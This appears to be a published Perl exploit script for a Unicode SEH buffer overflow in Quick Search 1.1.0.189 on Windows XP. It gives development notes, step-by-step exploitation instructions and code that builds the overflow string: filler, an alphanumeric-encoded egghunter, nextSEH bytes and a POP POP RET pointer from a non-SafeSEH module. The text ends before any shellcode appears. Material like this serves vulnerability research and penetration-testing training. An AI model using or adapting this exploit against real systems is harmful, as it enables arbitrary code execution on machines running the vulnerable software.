Quick Search 1.1.0.189 – search textbox Buffer Overflow (SEH Unicode) (Egghunter)

#!/usr/bin/perl

###########################################################################=

#######################

# Exploit Title: Quick Search 1.1.0.189 'search textbox' Unicode SEH egghunter Buffer Overflow

# Date: 2015-04-23

# Exploit Author: Tomislav Paskalev

# Vulnerable Software: Quick Search v1.1.0.189

# Vendor Homepage: http://www.glarysoft.com/

# Software Link: https://www.exploit-db.com/apps/93feb6805c08d3ca84b0636a3a986a56-qsearchsetup.exe

# Version: 1.1.0.189

# Tested on: Windows XP SP2 EN

# OSVDB-ID: 93445

###########################################################################=

#######################

# Credits:

# - Vulnerability identified by ariarat

# http://www.exploit-db.com/exploits/25443/

###########################################################################=

#######################

# Exploit development notes:

# - instead of attaching the process, start the executable within the debugger

# - the application's module gtms_D7.bpl was not compiled with SafeSEH

# - since this is a unicode buffer overflow \x00 will not terminate the string

# - 6 available unicode friendly P/P/R pointers within the module

# - this exploit should work across different OS versions

# (tested only on Win XP SP2 EN)

# - several other unicode friendly aplication modules are available, but have not been checked

###########################################################################=

#######################

# How to exploit:

# - Quick Search -> (click arrow for menu) Match Path -> (click arrow for menu) Full Mode ->=20

# (paste created exploit string into the search textbox)

# - once the exploit string is pasted, the egghunter starts to search the memory for the marker

# - on my test machine the search takes around 30 seconds (until the shellcode gets executed)

# - during the search the mouse cursor will NOT have a hourglass displayed beside it

# - during the search the application will NOT become unresponsive (i.e. it will be usable)

###########################################################################=

#######################

# Thanks to:

# - ariarat (PoC)

# - Peter Van Eeckhoutte (exploit development tutorials)

# - Offensive Security (IT security courses, admin support)

###########################################################################=

#######################

my $junk = "A" x 21;

# Egghunter code; NtAccessCheckAndAuditAlarm method; searches for "0t0t"

# msfencode -e x86/alpha_mixed

# msfencode -e x86/unicode_upper BufferRegister=EAX

# converted to ASCII

my $egghunter =

"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ" .

"11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J" .

"B9KHHHYCDO4KD1KB3QIQ9OY190IQ9PIQ9PI0IOS13PCPC1313PCOGB11J2J11R8R" .

"0P01100OQRK11OQB102Q1OR02PB0BNP0BORQ11228PPP8Q1PBT50JQ9RUOF0M212" .

"J1Z3IRO3F2O41QB1VP2S20J26RBP3BHRZ2MBVPNRGPLCCOESBCJ2C14482O2O18B" .

"52000P02EB032PTBNBKR92J0L2OBR1E3ICJPLRO0B0URZ0G2KPO1I2W11Q1AA";

my $fill = "C" x (1045 - length($junk.$egghunter));

my $nextSEH = "\x41\x6d"; # INC ECX; INSW Yz DX

my $SEH = "\x70\x34"; # POP POP RET from gtms_D7.bpl

# jump to egghunter code

my $allign = "\x58"; # POP EAX